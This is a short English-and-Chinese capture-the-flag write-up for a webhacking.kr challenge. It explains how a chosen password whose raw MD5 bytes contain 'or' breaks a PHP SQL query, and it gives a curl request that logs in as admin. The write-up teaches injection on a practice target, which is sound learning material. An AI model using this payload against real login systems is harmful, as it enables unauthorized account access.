Challenge
Bypass the raw-MD5 SQL query on the admin page.
绕过 admin page 中的 raw-MD5 SQL 查询。
https://webhacking.kr/challenge/bonus-13/Analysis
题目给出的关键服务端逻辑是:
$input_id = addslashes($_POST['id']);$input_pw = md5($_POST['pw'], true);$result = mysqli_fetch_array( mysqli_query( $db, "select id from chall51 where id='{$input_id}' and pw='{$input_pw}'" ));PHP 的 md5 第二个参数为 true 时返回 16 字节原始二进制,而不是通常看到的 32 位十六进制文本。提交的密码 129581926211651571912466741651878684928 的 MD5 原始结果已在本地核对为:
hex: 06da5430449f8f6f23dfc1276f722738repr: b"\\x06\\xdaT0D\\x9f\\x8fo#\\xdf\\xc1'or'8"结果中包含 'or'。拼进单引号包围的 pw 值后,SQL 片段会形成字符串比较与 or 条件,后面的非空字符串条件为真,从而绕过密码相等性检查。id=admin 选择目标记录。
Solution
向 /challenge/bonus-13/ 发送完整的 form-urlencoded 请求:
curl 'https://webhacking.kr/challenge/bonus-13/' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'id=admin&pw=129581926211651571912466741651878684928'